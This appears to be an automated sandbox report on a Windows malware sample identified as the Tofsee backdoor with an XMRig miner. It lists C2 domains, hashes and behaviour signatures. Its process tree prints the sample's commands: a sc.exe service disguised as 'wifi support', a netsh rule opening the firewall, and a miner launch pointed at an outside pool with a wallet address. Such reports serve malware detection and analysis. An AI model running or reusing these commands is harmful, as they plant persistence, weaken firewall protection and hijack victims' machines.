Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/12/2022, 00:12

General

  • Target
    file.exe
  • Size 228KB
  • Sample221222-ag68ladf43
  • SHA256 f0d71b97aee9e2dbb66bb21fb26859401159f9724155ab75b8ad1a8a8de46a09
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2400
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ruxzpzu\
      2⤵
        PID:4980
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vxalgapq.exe" C:\Windows\SysWOW64\ruxzpzu\
        2⤵
          PID:1324
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ruxzpzu binPath= "C:\Windows\SysWOW64\ruxzpzu\vxalgapq.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4332
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ruxzpzu "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3396
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ruxzpzu
          2⤵
          • Launches sc.exe
          PID:756
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3176
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2400 -s 660
          2⤵
          • Program crash
          PID:4884
      • C:\Windows\SysWOW64\ruxzpzu\vxalgapq.exe
        C:\Windows\SysWOW64\ruxzpzu\vxalgapq.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1544
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3536
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2800
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 512
          2⤵
          • Program crash
          PID:2432
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2400 -ip 2400
        1⤵
          PID:2652
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1544 -ip 1544
          1⤵
            PID:3528

          Network

                MITRE ATT&CK Enterprise v6

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                Downloads

                vxalgapq.exe

                • Path C:\Users\Admin\AppData\Local\Temp\vxalgapq.exe
                • Size 14.9MB
                • SHA256 ec6b13d02c0d8e33971fce5a757fd9fde0201f44a9181f3c8899b677a0964133
                • MD5 SHA1 SHA512 SSDEEP

                vxalgapq.exe

                • Path C:\Windows\SysWOW64\ruxzpzu\vxalgapq.exe
                • Size 14.9MB
                • SHA256 ec6b13d02c0d8e33971fce5a757fd9fde0201f44a9181f3c8899b677a0964133
                • MD5 SHA1 SHA512 SSDEEP

                memory/1544-150-0x0000000000400000-0x0000000000463000-memory.dmp

                memory/1544-149-0x00000000006FD000-0x000000000070E000-memory.dmp

                memory/2400-144-0x0000000000400000-0x0000000000463000-memory.dmp

                memory/2400-134-0x00000000004F0000-0x0000000000503000-memory.dmp

                memory/2400-135-0x0000000000400000-0x0000000000463000-memory.dmp

                memory/2400-133-0x0000000000520000-0x0000000000620000-memory.dmp

                memory/2800-177-0x0000000000E00000-0x0000000000EF1000-memory.dmp

                memory/2800-172-0x0000000000E00000-0x0000000000EF1000-memory.dmp

                memory/3536-153-0x0000000002600000-0x000000000280F000-memory.dmp

                memory/3536-151-0x0000000000A10000-0x0000000000A25000-memory.dmp

                memory/3536-152-0x0000000000A10000-0x0000000000A25000-memory.dmp

                memory/3536-146-0x0000000000A10000-0x0000000000A25000-memory.dmp

                memory/3536-156-0x0000000000BF0000-0x0000000000BF6000-memory.dmp

                memory/3536-159-0x0000000001DA0000-0x0000000001DB0000-memory.dmp

                memory/3536-162-0x0000000001DD0000-0x0000000001DD5000-memory.dmp

                memory/3536-165-0x0000000007600000-0x0000000007A0B000-memory.dmp

                memory/3536-168-0x0000000001DE0000-0x0000000001DE7000-memory.dmp